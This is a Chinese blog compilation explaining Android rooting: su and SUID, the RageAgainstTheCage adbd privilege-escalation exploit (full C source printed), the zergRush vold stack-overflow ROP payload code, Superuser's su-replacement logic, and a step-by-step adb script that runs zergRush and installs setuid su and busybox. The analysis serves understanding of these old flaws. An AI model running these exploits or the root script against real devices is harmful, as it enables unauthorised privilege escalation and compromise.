Android 系统root破解原理分析admin管理员组文章数量:1635400
获得root权限的代码如下:
Process process =Runtime.getRuntime().exec("su");
DataOutputStreamos =new
DataOutputStream(process.getOutputStream());
......
os.writeBytes("exit\n");
os.flush();
process.waitFor();
从上面代码我们可以看到首先要运行su程序,其实root的秘密都在su程序中,Android系统默认的su程序只能root和shell可以用运行su,如果把这个限制拿掉,就是root破解了!
下面我们仔细分析一下程序是怎样获得root权限的,如果对Linux的su命令熟悉的朋友可能知道su程序都设置SUID位,我们查看一下已经root破解上的su权限设置,
我们发现su的所有者和所有组都是root,是其实是busybox的软链接,我们查看busybox的属性发现,其设置了SUID和SGID,并且所有者和所有组都是root。这样运行busybox的普通用户,busybox运行过程中获得的是root的有效用户。su程序则是把自己启动一个新的程序,并把自己权限提升至root(我们前面提到su其实就是busybox,运行期它的权限是root,当然也有权限来提升自己的权限)。
再强调一下不光root手机上su需要设置SUID,所有的Linux系统上的su程序都需要设置SUID位。
我们发现su也设置了SUID位,这样普通用户也可以运行su程序,su程序会验证root
密码,如果正确su程序可以把用户权限提高的root(因为其设置SUID位,运行期是root权限,这样其有权限提升自己的权限)。
Android系统的破解的根本原理就是替换掉系统中的su程序,因为系统中的默认su程序需要验证实际用户权限(只有root和shell用户才有权运 行系统默认的su程序,其他用户运行都会返回错误)。而破解后的su将不检查实际用户权限,这样普通的用户也将可以运行su程序,也可以通过su程序将自 己的权限提升。
root破解没有利用什么Linux内核漏洞(Linux内核不可能有这么大的漏洞存在),可以理解成root破解就是在你系统中植入“木马su”,说它 是“木马”一点儿都不为过,假如恶意程序在系统中运行也可以通过su来提升自己的权限的这样的结果将会是灾难性的。所以一般情况下root过手机都会有一 个SuperUser应用程序来让用户管理允许谁获得root权限.但是要替换掉系统中su程序本身就是需要root权限的,怎样在root破解过程中获 得root权限,假设需要破解的Android系统具备如下条件:
1、可以通过adb连接到设备,一般意味着驱动程序已经安装。
2、但是adb获得用户权限是shell用户,而不是root。
先了解一下adb工具,设备端有adbd服务程序后台运行,为开发机的adb程序提供 服务,adbd的权限,决定了adb的权限。具体用户可查看/system/core/adb下的源码,查看Android.mk你将会发现adb和 adbd其实是一份代码,然后通过宏来编译。
查看adb.c的adb_main函数你将会发现adbd中有如下代码:
1:intadb_main(int is_daemon)
2: {
3: ......
4: property_get("ro.secure",value,"");
5: if(strcmp(value,"1") == 0) {
6: //don't run as root if ro.secure is set...
7: secure= 1;
8: ......
9: }
10:
11: if(secure) {
12: ......
13: setgid(AID_SHELL);
14: setuid(AID_SHELL);
15: ......
16: }
17: }
从中我们可以看到adbd会检测系统的ro.secure属性,如果该属性为1则将会把自己的用户权限降级成shell用户。一般设备出厂的时候在/default.prop文件中都会有:
1:ro.secure=1
这样将会使adbd启动的时候自动降级成shell用户。
然后我们再介绍一下adbd在什么时候启动的呢?答案是在init.rc中配置的系统服务,由init进程启动。我们查看init.rc中有如下内容:
1: #adbd is controlled by the persist.service.adb.enable system property
2:service adbd /sbin/adbd
3: disabled
对Android属性系统少有了解的朋友将会知道,在init.rc中配置的系统服务启动的时候都是root权限(因为init进行是root权限,其子程序也是root)。由此我们可以知道在adbd程序在执行:
1:/*then switch user and group to "shell" */
2:setgid(AID_SHELL);
3:setuid(AID_SHELL);
代码之前都是root权限,只有执行这两句之后才变成shell权限的。
这样我们就可以引出root破解过程中获得root权限的方法了,那就是让上面setgid和setuid函数执行失败,也就是降级失败,那就继续在root权限下面运行了。
这里面做一个简单说明:
1、出厂设置的ro.secure属性为1,则adbd也将运行在shell用户权限下;
2、adb工具创建的进程ratc也运行在shell用户权限下;
3、ratc一直创建子进程(ratc创建的子程序也将会运行在shell用户权限下),紧接着子程序退出,形成僵尸进程,占用shell用户的进程资源,直到到达shell用户的进程数为RLIMIT_NPROC的时候(包括adbd、ratc及其子程序),这是ratc将会创建子进程失败。这时候杀掉adbd,adbd进程因为是Android系统服务,将会被Android系统自动重启,这时候ratc也在竞争产生子程序。在adbd程序执行上面setgid和setuid之前,ratc已经创建了一个新的子进程,那么shell用户的进程限额已经达到,则adbd进程执行setgid和setuid将会失败。根据代码我们发现失败之后adbd将会继续执行。这样adbd进程将会运行在root权限下面了。
这时重新用adb连接设备,则adb将会运行在root权限下面了。
通过上面的介绍我们发现利用RageAgainstTheCage漏洞,可以使adbd获得root权限,也就是adb获得了root权限。拿到root权限剩下的问题就好办了,复制破解之后的su程序到系统中,都是没有什么技术含量的事情了。
其实堵住adbd的这个漏洞其实也挺简单的,新版本已经加两个这个补丁。
1:/*then switch user and group to "shell" */
2:if(setgid(AID_SHELL) != 0) {
3: exit(1);
4: }
5:if(setuid(AID_SHELL) != 0) {
6: exit(1);
7: }
如果发现setgid和setuid函数执行失败,则adbd进程异常退出,就把这个漏洞给堵上了。
http://www.cve.mitre/cgi-bin/cvename.cgi?name=CVE-2006-2607
http://blog.claudxiao/wp-content/uploads/2011/04/rageagainstthecage.c
/* android 1.x/2.xadb setuid() root exploit
* (C) 2010The Android Exploid Crew
*
* Needs tobe executed via adb -d shell. It may take a while until
* allprocess slots are filled and the adb connection is reset.
*
* !!!This isPoC code for educational purposes only!!!
* If you runit, it might crash your device and make it unusable!
* So you useit at your own risk!
*/
#include<stdio.h>
#include<sys/types.h>
#include<sys/time.h>
#include<sys/resource.h>
#include<unistd.h>
#include<fcntl.h>
#include<errno.h>
#include<string.h>
#include<signal.h>
#include<stdlib.h>
void die(constchar *msg)
{
perror(msg);
exit(errno);
}
pid_t find_adb()
{
char buf[256];
int i = 0, fd = 0;
pid_t found = 0;
for (i = 0; i < 32000; ++i) {
sprintf(buf, "/proc/%d/cmdline", i);
if ((fd = open(buf, O_RDONLY)) < 0)
continue;
memset(buf, 0, sizeof(buf));
read(fd, buf, sizeof(buf) - 1);
close(fd);
if (strstr(buf, "/sbin/adb")) {
found = i;
break;
}
}
return found;
}
voidrestart_adb(pid_t pid)
{
kill(pid, 9);
}
voidwait_for_root_adb(pid_t old_adb)
{
pid_t p = 0;
for (;;) {
p = find_adb();
if (p != 0 && p != old_adb)
break;
sleep(1);
}
sleep(5);
kill(-1, 9);
}
int main(int argc,char **argv)
{
pid_t adb_pid = 0, p;
int pids = 0, new_pids = 1;
int pepe[2];
char c = 0;
struct rlimit rl;
printf("[*] CVE-2010-EASY Android local root exploit (C) 2010 by743C\n\n");
printf("[*] checking NPROC limit ...\n");
if (getrlimit(RLIMIT_NPROC, &rl) < 0)
die("[-] getrlimit");
if (rl.rlim_cur == RLIM_INFINITY) {
printf("[-] No RLIMIT_NPROC set. Exploit would just crash machine.Exiting.\n");
exit(1);
}
printf("[+] RLIMIT_NPROC={%lu, %lu}\n", rl.rlim_cur, rl.rlim_max);
printf("[*] Searching for adb ...\n");
adb_pid = find_adb();
if (!adb_pid)
die("[-] Cannot find adb");
printf("[+] Found adb as PID %d\n", adb_pid);
printf("[*] Spawning children. Dont type anything and wait forreset!\n");
printf("[*]\n[*] If you like what we are doing you can send us PayPalmoney to\n"
"[*] 7-4-3-C@web.de so we cancompensate time, effort and HW costs.\n"
"[*] If you are a company and feellike you profit from our work,\n"
"[*] we also accept donations >1000 USD!\n");
printf("[*]\n[*] adb connection will be reset. restart adb server ondesktop and re-login.\n");
sleep(5);
if (fork() > 0)
exit(0);
setsid();
pipe(pepe);
/* generate many (zombie) shell-user processes so restarting
* adb's setuid() will fail.
* The whole thing is a bit racy, since when we kill adb
* there is one more process slot left which we need to
* fill before adb reaches setuid(). Thats why we fork-bomb
* in a seprate process.
*/
if (fork() == 0) {
close(pepe[0]);
for (;;) {
if ((p = fork()) == 0) {
exit(0);
} else if (p < 0) {
if (new_pids) {
printf("\n[+] Forked %d childs.\n", pids);
new_pids = 0;
write(pepe[1], &c, 1);
close(pepe[1]);
}
} else {
++pids;
}
}
}
close(pepe[1]);
read(pepe[0], &c, 1);
restart_adb(adb_pid);
if (fork() == 0) {
fork();
for (;;)
sleep(0x743C);
}
wait_for_root_adb(adb_pid);
return 0;
}
Android程序的安全系统
在Android系统中,系统为每一个应用程序(apk)创建了一个用户和组。这个用户和组都是受限用户,不能访问系统的数据,只能访问自己的文件和目录,当然它也不能访问其他应用程序的数据。这样设计可以尽可能地保护应用程序的私有数据,增强系统的安全性和健壮性。
但是有一些应用程序是需要访问一些系统资源的。比如Setting程序,它需要访问WiFi,在系统中创建删除文件等等操作。怎样做到这一点儿呢?Android通过一定途径可以获得system权限。获得system用户权限,需要以下步骤:
1. 在应用程序的AndroidManifest.xml中的manifest节点中加入android:sharedUserId="android.uid.system"这个属性。
2. 修改Android.mk文件,加入LOCAL_CERTIFICATE:= platform这一行
3. 使用mm命令来编译,生成的apk就有修改系统时间的权限了。
一般情况下system用 户可以在系统中创建和删除文件,访问设备等等。但是有些情况下system权限还是不够的。比如:设置网卡IP地址,ifconfig命令是需要root权限的。我可以很肯定的说,在Android下面应用程序是没有可能拿到root权限的。但是如果我的应用程序需要root权限怎么办呢?只能想办法绕般过去。就以我的问题为例,设置网卡IP地址,root权限下面命令为:
ifconfig eth0192.168.1.188
在普通用户或者system用户权限下面这条命令是不起作用的,但是不会返回失败和异常,那么怎样实现这个功能呢。
1、系统启动的时候init进程创建一个后台进程,该进程处于root用户权限下面。用来监听系统中应用程序的请求(可以用socket实现),并代其完成。这样应用程序就可以执行root用户权限的任务了。
2、实现一个虚拟的设备,该设备的功能就是在内核态帮应用程序执行相应的命令。Linux内核态没有权限的问题了。肯定可以执行成功。
解决设置网卡IP地址问题时,选择是后者相对来说设计比较简单。
Android应用程序利用init.rc service获得root权限
发布于:想在android应用程序中动态mount一个NFS的系统,但是执行mount命令必须要root权限才可以。一般情况下,在Android的APK层是不能获得root权限的。
上一节提到实现由init启动的Service,来帮助Android应用程序执行root权限的命令或者实现一个虚拟设备,这个设备帮助Android应用程序执行root权限的命令。
本文将会选择第一种来解决Android应用程序mount NFS文件系统的问题。
Init.rc Service
在Android系统init.rc中定义很多Service,Init.rc中定义的Service将会被Init进程创建,这样将可以获得root权限。
设置系统属性“ctl.start”, 把“ctl.start”设置为你要运行的Service,假设为“xxx”,Android系统将会帮你运行“ctl.start”系统属性中指定的 Service。那么运行结果init进程会写入命名为“init.svc.+xxx”的系统属性中,应用程序可以参考查阅这个值来确定Service xxx执行的情况。
Android系统属性(property)权限
难道Android属 性“ctl.start”不是所有进程都可以设置的,见property_service.c中的源码,设置Android系统属性的函数为 handle_property_set_fd(),从源码中可以发现如果设置“ctl.”开头的Android系统属性,将会调用 check_control_perms函数来检查调用者的权限,只有root权限和system权限的应用程序才可以修改“ctl.”开头的 Android系统属性。否则将会检查control_perms全局变量中的定义权限和Service。从代码中可以看到,任何不以property_perms[] 中定义的前缀开头的property 是无法被除root以外的用户访问的,包括system用户。
实例
下面以上面提出的mount nfs文件系统为例说明:
A.首先定义一个执行mount的脚本,我把它位于/system/etc/mount_nfs.sh,定义如下:
1: #!/system/bin/sh
2:
3: /system/bin/busybox mount -o rw,nolock-t nfs 192.168.1.6:/nfs_srv /data/mnt
不要忘了把它加上可执行权限。
B.在init.rc中加入一个Service定义,定义如下:
1: service mount_nfs/system/etc/mount_nfs.sh
2: oneshot
3: disabled
C.让自己的应用程序获得system权限,方法见前面章节
D.在自己应用程序中设置System系统属性“ctl.start”为“mount_nfs”,这样Android系统将会帮我们运行mount_nfs系统属性了。不能够调用System.getProperty,这个函数只是修改JVM中的系统属性。只能调用android.os.SystemProperties,最终通过JNI调用C/C++层的API property_get和property_set函数。
SystemProperties.set("ctl.start","mount_nfs");
E.最后在自己应用程序中,读取“init.svc.mount_nfs”Android系统Property,检查执行结果。代码如下:
1:while(true)
2: {
3: mount_rt =SystemProperties.get("init.svc.mount_nfs","");
4: if(mount_rt !=null && mount_rt.equals("stopped"))
5: {
6: returntrue;
7: }
8:
9: try
10: {
11: Thread.sleep(1000);
12: }catch(Exception ex){
13: Log.e(TAG,"Exception:" + ex.getMessage());
14: }
15: }
init进程维护一个service的队列,所以我们需要轮训来查询service的执行结果。
1. 文件(夹)读写权限
init.rc 中建立test1 test2 test3文件夹
mkdir /data/misc/test1 0770 rootroot
mkdir /data/misc/test2 0770 wifi wifi
mkdir /data/misc/test3 0770 system misc
其中
test1 目录的owner是root,group也是root
test2 目录的owner是wifi, group也是wifi
test3 目录的owner是system, group是misc(任何用户都属于group misc)
service xxxx /system/bin/xxxx
user root
disabled
oneshot
service yyyy /system/bin/yyyy
user system
disabled
oneshot
service zzzz /system/bin/zzzz
user wifi
disabled
oneshot
结果:
xxxx 服务可以访问 test1, test2, test3
yyyy 服务可以访问 test3
zzzz 服务可以访问 test2, test3
见android_filesystem_config.h中定义AID_ROOT AID_SYSTEM AID_MISC等宏定义的权限
360等特殊系统是否可以考虑在AID_ROOT和AID_SYSTEM之间加一个权限和用户,增加新的哦property给360用?
通过上面的这些步骤,Android应用程序就能够调用init.rc中定义的Service了。这样你的Android应用程序也就获得了root权限。前提是Android系统开发人员,否则你无法修改init.rc等文件,而且应用程序必须要获得system权限。
androidsuperuser.apk 管理root权限原理分析
原理是利用了android的两个提权漏洞: CVE-2010-EASY和 ZergRush。 我把大概原理简单说说:
1, CVE-2010-EASY: linux的内核的模块化程度很高,很多功能模块是需要到时候再加载,在 android中由init进程来管理这些的。但是这个init进程不会检测发给它的指令的来源,不管是内核发送的,还是用户发送的,它都执行不误,会顺从的去加载或卸载一些模块,而加载的模块都是以root身份运行的。因此你可以给它准备一个精心制作的功能模块(ko文件),然后触发相应的加载条件,比如热拔插、开关wifi等等, 该功能模块运行后,会生成 /data/local/tmp/rootshell 一个带s位的shell。
2,ZergRush原理: 具有root权限的vold进程使用了libsysutils.so库,该库有个函数存在栈溢出,因此可以root权限执行输入的shellcode。
3. 还有个前面提到的adb提权漏洞,不够新版本已经修正了。
扯了半天还没扯到superuser.apk,这个程序是root成功后,专门用来管理root权限使用的,防止被恶意程序滥用。
源码地址:
http://superuser.googlecode/svn/trunk
带着两个问题我们来分析源码:
1、superuser是怎么知道谁想用root权限?
2、superuser是如何把用户的选择告诉su程序的那?
即superuser和su程序是如何通讯的,他们俩位于不通的时空,一个在java虚拟机中,一个在linux的真实进程中。
共有两个active: SuperuserActivity和SuperuserRequestActivity。
其中SuperuserActivity主要是用来管理白名单的,就是记住哪个程序已经被允许使用root权限了,省的每次用时都问用户。
SuperuserRequestActivity 就是用来询问用户目前有个程序想使用root权限,是否允许,是否一直允许,即放入白名单。
这个白名单比较关键,是一个sqlite数据库文件,位置:
/data/data/com.koushikdutta.superuser/databases/superuser.sqlite
root的本质就是往 /system/bin/下放一个带s位的,不检查调用者权限的su文件。普通程序可以调用该su来运行root权限的命令。superuser.apk中就自带了一个这样的su程序。一开始superuser会检测/system/bin/su是否存在,是否是自个放进去的su:
File su = new File("/system/bin/su");
// 检测su文件是否存在,如果不存在则直接返回
if (!su.exists())
{
Toast toast = Toast.makeText(this, "Unable to find
/system/bin/su.", Toast.LENGTH_LONG);
toast.show();
return;
}
//检测su文件的完整性,比较大小,太省事了吧
//如果大小一样,则认为su文件正确,直接返回了事。
if (su.length() ==suStream.available())
{
suStream.close();
return; }
// 如果检测到/system/bin/su文件存在,但是不对头,则把自带的su先写到"/data/data/com.koushikdutta.superuser/su"
// 再写到/system/bin/su。
byte[] bytes = new byte[suStream.available()];
DataInputStream dis =new DataInputStream(suStream);
dis.readFully(bytes);
FileOutputStreamsuOutStream = new FileOutputStream("/data/data/com.koushikdutta.superuser/su");
suOutStream.write(bytes);
suOutStream.close();
Process process = Runtime.getRuntime().exec("su");
DataOutputStream os =new DataOutputStream(process.getOutputStream());
os.writeBytes("mount-oremount,rw /dev/block/mtdblock3 /system\n");
os.writeBytes("busyboxcp /data/data/com.koushikdutta.superuser/su /system/bin/su\n");
os.writeBytes("busyboxchown 0:0 /system/bin/su\n");
os.writeBytes("chmod4755 /system/bin/su\n");
os.writeBytes("exit\n");
os.flush();
上面提到的su肯定是动过手脚的,有进程使用root权限,superuser是怎么知道的,看完su的代码明白了,关键是句:
sprintf(sysCmd, "amstart -a android.intent.action.MAIN
-ncom.koushikdutta.superuser/com.koushikdutta.superuser.SuperuserRequestActivity
--eiuid %d --ei pid %d > /dev/null", g_puid, ppid);
if (system(sysCmd))
returnexecutionFailure("am.");
原理是am命令,看了下am的用法,明白了:
在Android中,除了从界面上启动程序之外,还可以从命令行启动程序,使用的是命令行工具am.启动的方法为
$ adb shell
$ su
# am start -n {包(package)名}/{包名}.{活动(activity)名称}
程序的入口类可以从每个应用的AndroidManifest.xml的文件中得到,以计算器(calculator)为例,它的
<manifestxmlns:android="http://schemas.android/apk/res/android" …
package="com.android.calculator2"…>…
由此计算器(calculator)的启动方法为:
# am start -ncom.android.calculator2/com.android.calculator2.Calculator
一般情况希望,一个Android应用对应一个工程。值得注意的是,有一些工程具有多个活动(activity),而有一些应用使用一个工程。例如:在Android界面中,Music和Video是两个应用,但是它们使用的都是packages/apps/Music这一个工程。而在这个工程的AndroidManifest.xml文件中,有包含了不同的活动(activity)。
Music 和 Video(音乐和视频)的启动方法为:
# am start -ncom.android.music/com.android.music.MusicBrowserActivity
# am start -ncom.android.music/com.android.music.VideoBrowserActivity
# am start -ncom.android.music/com.android.music.MediaPlaybackActivity
启动浏览器 :
am start -aandroid.intent.action.VIEW -d http://www.google/
拨打电话 :
am start -aandroid.intent.action.CALL -d tel:10086
启动 google map直接定位到北京 :
am start -aandroid.intent.action.VIEW geo:0,0?q=beijing
usage: am [subcommand] [options]
start an Activity: am start [-D] [-W] <INTENT>
-D: enable debugging
-W: wait for launch to complete
start a Service: am startservice <INTENT>
send a broadcast Intent: am broadcast <INTENT>
start an Instrumentation: am instrument [flags]<COMPONENT>
-r: print raw results (otherwisedecode REPORT_KEY_STREAMRESULT)
-e <NAME> <VALUE>: setargument <NAME> to <VALUE>
-p <FILE>: write profilingdata to <FILE>
-w: wait for instrumentation tofinish before returning
start profiling: am profile <PROCESS> start<FILE>
stop profiling: am profile <PROCESS> stop
<INTENT> specifications include these flags:
[-a <ACTION>] [-d<DATA_URI>] [-t <MIME_TYPE>]
[-c <CATEGORY> [-c<CATEGORY>] ...]
[-e|--es <EXTRA_KEY><EXTRA_STRING_VALUE> ...]
[--esn <EXTRA_KEY> ...]
[--ez <EXTRA_KEY><EXTRA_BOOLEAN_VALUE> ...]
[-e|--ei <EXTRA_KEY><EXTRA_INT_VALUE> ...]
[-n <COMPONENT>] [-f<FLAGS>]
[--grant-read-uri-permission][--grant-write-uri-permission]
[--debug-log-resolution]
[--activity-brought-to-front][--activity-clear-top]
[--activity-clear-when-task-reset][--activity-exclude-from-recents]
[--activity-launched-from-history][--activity-multiple-task]
[--activity-no-animation][--activity-no-history]
[--activity-no-user-action][--activity-previous-is-top]
[--activity-reorder-to-front][--activity-reset-task-if-needed]
[--activity-single-top]
[--receiver-registered-only][--receiver-replace-pending]
[<URI>]
还有个疑点,就是su怎么知道用户是允许root权限还是反对那?原来是上面提到的白名单起来作用,superuser把用户的选择放入 :
/data/data/com.koushikdutta.superuser/databases/superuser.sqlite 数据库中,然后su进程再去读该数据库来判断是否允许。
static int checkWhitelist()
{
sqlite3 *db;
int rc = sqlite3_open_v2(DBPATH,&db, SQLITE_OPEN_READWRITE, NULL);
if (!rc)
{
char *errorMessage;
char query[1024];
sprintf(query, "select* from whitelist where _id=%d limit 1;", g_puid);
struct whitelistCallInfocallInfo;
callInfo.count = 0;
callInfo.db = db;
rc = sqlite3_exec(db,query, whitelistCallback, &callInfo, &errorMessage);
if (rc != SQLITE_OK)
{
sqlite3_close(db);
return 0;
}
sqlite3_close(db);
return callInfo.count;
}
sqlite3_close(db);
return 0;
}
获取一键root原理
转自:http://blog.csdn/liujian885/archive/2010/03/22/5404834.aspx 在 android的API中有提供 SystemClock.setCurrentTimeMillis()函数来修改系统时间,可惜无论你怎么调用这个函数都是没用的,无论模拟器还是真机,在logcat中总会得到"Unable to open alarm driver: Permission denied ".这个函数需要root权限或者运行与系统进程中才可以用。本来以为就没有办法在应用程序这一层改系统时间了,后来在网上搜了好久,知道这个目的还是可以达到的。 第一个方法简单点,不过需要在Android系统源码的环境下用make来编译: 1. 在应用程序的AndroidManifest.xml中的manifest节点中加入android:sharedUserId="android.uid.system"这个属性。 2. 修改Android.mk文件,加入LOCAL_CERTIFICATE := platform这一行 3. 使用mm命令来编译,生成的apk就有修改系统时间的权限了。 第二个方法麻烦点,不过不用开虚拟机跑到源码环境下用make来编译: 1. 同上,加入android:sharedUserId="android.uid.system"这个属性。 2. 使用eclipse编译出apk文件,但是这个apk文件是不能用的。 3. 使用目标系统的platform密钥来重新给apk文件签名。这步比较麻烦,首先找到密钥文件,在我的Android源码目录中的位置是"build\target\product\security",下面的platform.pk8和platform.x509.pem两个文件。然后用Android提供的Signapk工具来签名,signapk的源代码是在"build\tools\signapk"下,用法为"signapk platform.x509.pem platform.pk8 input.apk output.apk",文件名最好使用绝对路径防止找不到,也可以修改源代码直接使用。 这样最后得到的apk和第一个方法是一样的。 最后解释一下原理,首先加入android:sharedUserId="android.uid.system"这个属性。通过Shared User id,拥有同一个User id的多个APK可以配置成运行在同一个进程中。那么把程序的UID配成android.uid.system,也就是要让程序运行在系统进程中,这样就有权限来修改系统时间了。 只是加入UID还不够,如果这时候安装APK的话发现无法安装,提示签名不符,原因是程序想要运行在系统进程中还要有目标系统的platform key,就是上面第二个方法提到的platform.pk8和platform.x509.pem两个文件。用这两个key签名后apk才真正可以放入系统进程中。第一个方法中加入LOCAL_CERTIFICATE := platform其实就是用这两个key来签名。 这也有一个问题,就是这样生成的程序只有在原始的Android系统或者是自己编译的系统中才可以用,因为这样的系统才可以拿到platform.pk8和platform.x509.pem两个文件。要是别家公司做的Android上连安装都安装不了。试试原始的Android中的key来签名,程序在模拟器上运行OK,不过放到G3上安装直接提示"Package ... has no signatures that match those in shared user android.uid.system",这样也是保护了系统的安全。 最最后还说下,这个android:sharedUserId属性不只可以把apk放到系统进程中,也可以配置多个APK运行在一个进程中,这样可以共享数据,应该会很有用的。
|
漏洞— zergRush
提权实现的代码,见:
https://github/revolutionary/zergRush/blob/master/zergRush.c
需要了解一下是哪个地方有问题,边分析边记录此次过程。
文件不大,当然从 main 入手了,
if (geteuid() == 0 && getuid() == 0 && strstr(argv[0], "boomsh"))
do_root();
明显,当有了 Root 能力后去做一个可以保持 Root 的动作,猜测,此程序会被调用多次,并且再次调用的时候程序名称为 boomsh
看一下 do_root 吧
写了一个属性 ro.kernel.qemu 为 1
明显是让手机当成模拟器运行,见 \android2.32\system\core\adb\adb.c 中的代码
1. /* run adbd in secure mode if ro.secure is set and
2. ** we are not in the emulator
3. */
4. property_get("ro.kernel.qemu", value, "");
5. if (strcmp(value, "1") != 0) {
6. property_get("ro.secure", value, "");
7. if (strcmp(value, "1") == 0) {
8. // don't run as root if ro.secure is set...
9. secure = 1;
10.
11. // ... except we allow running as root in userdebug builds if the
12. // service.adb.root property has been set by the "adb root" command
13. property_get("ro.debuggable", value, "");
14. if (strcmp(value, "1") == 0) {
15. property_get("service.adb.root", value, "");
16. if (strcmp(value, "1") == 0) {
17. secure = 0;
18. }
19. }
20. }
21. }
以后调用 adb 默认是Root 用户了。
下面又做了一件事把自己拷贝到 /data/local/tmp/boomsh
把 SH 拷贝到 /data/local/tmp/sh
改变 /data/local/tmp/boomsh 的权限为 711 ,可执行了
然后获取 /system/bin/vold 程序的大小,
通过 heap_addr = ((((st.st_size) + 0x8000) / 0x1000) + 1) * 0x1000; 这样的一个计算,得到该程序的堆地址,有点意思了,对 vold 程序有了歪脑筋了
用过在手机上用 ps 看一下,这个程序有是从 root 用户执行过来的。
然后获取了一下手机的版本号,只对 2.2 2.3 二个版本进行处理,并修正了一上 heap_addr 的地址。
然后又找了一下 system 系统调用函数的地址,放到 system_ptr 中
继续看 checkcrash()
>> 清除了一下 logcat 日志
>> 删除 /data/local/tmp/crashlog 文件
>> 简立一个子进程,去生成一下 crashlog 文件。
>> 调用 do_fault
>> 打开 crashlog 文件
>> 在crashlog 中找到崩溃信息,找到 sp 寄存器地址。
等等,为什么崩溃呢,肯定是在 do_fault 中制造的,我们要看看这块了
这个函数比较乱,找找重点看
if ((sock = socket_local_client("vold",ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)
不错的信息,连接 vold ,又是它,以前听说过它有漏洞,这次还是它。
write(sock, buf, n+1)
写了一些信息,不知道什么信息,但是可以肯定的是,能让 vold 崩溃的信息。
下面回到 main 继续!
一个 For 循环处理。
find_stack_addr 用了上面的相同方法,从崩溃信息中找到程序的栈地址,(至于怎么计算的,以后再去研究了)
一些容错检查,略过!
kill(logcat_pid, SIGKILL);
unlink(crashlog);
find_rop_gadgets()
又一个陌生函数。看了,暂时看不出用途,貌似找点什么,继续!
下面就是再次调用 do_fault ,生成崩溃。
再次判断 sh 是否有没有 s 位, 如果有了,刚 ROOT 功了。
疑问来了,没发现怎么再次调用 boomsh 运行执行 do_root 啊。 顺着它拷贝出来的 sh 文件找找,搜索 bsh 变理的使用情况,发现如下地方:
1. static int do_fault()
2. {
3. char buf[255];
4. int sock = -1, n = 0, i;
5. char s_stack_addr[5], s_stack_pivot_addr[5], s_pop_r0_addr[5], s_system[5], s_bsh_addr[5], s_heap_addr[5];
6. uint32_t bsh_addr;
7. char padding[128];
8. int32_t padding_sz = (jumpsz == 0 ? 0 : gadget_jumpsz - jumpsz);
9.
10. memset(padding, 0, 128);
11. strcpy(padding, "LORDZZZZzzzz");
12. if(padding_sz > 0) {
13. memset(padding+12, 'Z', padding_sz);
14. printf("[*] Poping %d more zerglings\n", padding_sz);
15. }
16. else if(padding_sz < 0) {
17. memset(padding, 0, 128);
18. memset(padding, 'Z', 12+padding_sz);
19. }
20.
21. if ((sock = socket_local_client("vold", ANDROID_SOCKET_NAMESPACE_RESERVED, SOCK_STREAM)) < 0)
22. die("[-] Error creating Nydus");
23.
24. sprintf(s_stack_addr, "%c%c%c%c", stack_addr & 0xff, (stack_addr>>8)&0xff, (stack_addr>>16)&0xff, (stack_addr>>24)&0xff);
25. sprintf(s_stack_pivot_addr, "%c%c%c%c", stack_pivot & 0xff, (stack_pivot>>8)&0xff, (stack_pivot>>16)&0xff, (stack_pivot>>24)&0xff);
26. sprintf(s_pop_r0_addr, "%c%c%c%c", pop_r0 & 0xff, (pop_r0>>8)&0xff, (pop_r0>>16)&0xff, (pop_r0>>24)&0xff);
27. sprintf(s_system, "%c%c%c%c", system_ptr & 0xff, (system_ptr>>8)&0xff, (system_ptr>>16)&0xff, (system_ptr>>24)&0xff);
28. sprintf(s_heap_addr, "%c%c%c%c", heap_addr & 0xff, (heap_addr>>8)&0xff, (heap_addr>>16)&0xff, (heap_addr>>24)&0xff);
29.
30. strcpy(buf, "ZERG");
31. strcat(buf, " ZZ ");
32. strcat(buf, s_stack_pivot_addr);
33. for(i=3; i < buffsz+1; i++)
34. strcat(buf, " ZZZZ");
35. strcat(buf, " ");
36. strcat(buf, s_heap_addr);
37.
38. n = strlen(buf);
39. bsh_addr = stack_addr + n + 1 + 8 + 8 + 8 + padding_sz + 12 + 4;
40.
41. if(check_addr(bsh_addr) == -1) {
42. printf("[-] Colossus, we're doomed!\n");
43. exit(-1);
44. }
45.
46. sprintf(s_bsh_addr, "%c%c%c%c", bsh_addr & 0xff, (bsh_addr>>8)&0xff, (bsh_addr>>16)&0xff, (bsh_addr>>24)&0xff);
47.
48. <strong><span style="color:#ffffff;BACKGROUND-COLOR: #ff0000">n += sprintf(buf+n+1, "%s%s OVER%s%s%s%sZZZZ%s%c", s_stack_addr, s_heap_addr, padding, s_pop_r0_addr, s_bsh_addr, s_system, bsh, 0);</span></strong>
49.
50. printf("[*] Sending %d zerglings ...\n", n);
51.
52. if ((n = write(sock, buf, n+1)) < 0)
53. die("[-] Nydus seems broken");
54.
55. sleep(3);
56. close(sock);
57.
58. return n;
59. }
看到上面加色的行了,原来他是用 socket 写的一个 shell code ,调用了他拷贝的 sh 程序。
在 vold 中执行 sh 肯定是root 啊。
至此,原理很是清楚了, shell code 嘛,运行的时候把他 dump 出来用别的工具看吧!
一键ROOT脚本
1.等待设备连接
adb wait-for-device
2.删除文件
adb shell "cd /data/local/tmp/; rm*"
3.上传zergRush并修改属性去执行
adb push c:\zergRush /data/local/tmp/
adb shell "chmod 777 /data/local/tmp/zergRush"
adb shell "/data/local/tmp/zergRush"
adb wait-for-device
4.上传busybox、给busybox文件执行权限,以可以方式加载文件系统
adb push c:\busybox /data/local/tmp/
adb shell "chmod 755/data/local/tmp/busybox"
adb shell "/data/local/tmp/busybox mount -oremount,rw /system"
5.复制busybox,修改所在的组及设置s位
adb shell "dd if=/data/local/tmp/busyboxof=/system/xbin/busybox"
adb shell "chown root.shell/system/xbin/busybox"
adb shell "chmod 04755/system/xbin/busybox"
6.安装busybox并删除临时文件
adb shell "/system/xbin/busybox --install -s/system/xbin"
adb shell "rm -rf/data/local/tmp/busybox"
7.对su进行类似busybox的处理
adb push c:\fu /system/bin/su
adb shell "chown root.shell/system/bin/su"
adb shell "chmod 06755 /system/bin/su"
adb shell "rm /system/xbin/su"
adb shell "ln -s /system/bin/su /system/xbin/su"
8.安装其它工具
adb push c:\superuser.apk /system/app/
adb shell "cd /data/local/tmp/; rm *"
adb reboot
adb wait-for-device
adb install c:\recovery.apk
版权声明:本文标题:Android安全——Root机制 内容由热心网友自发贡献,该文观点仅代表作者本人, 转载请联系作者并注明出处:https://m.elefans.com/dianzi/1729204806a1189925.html, 本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容,一经查实,本站将立刻删除。
发表评论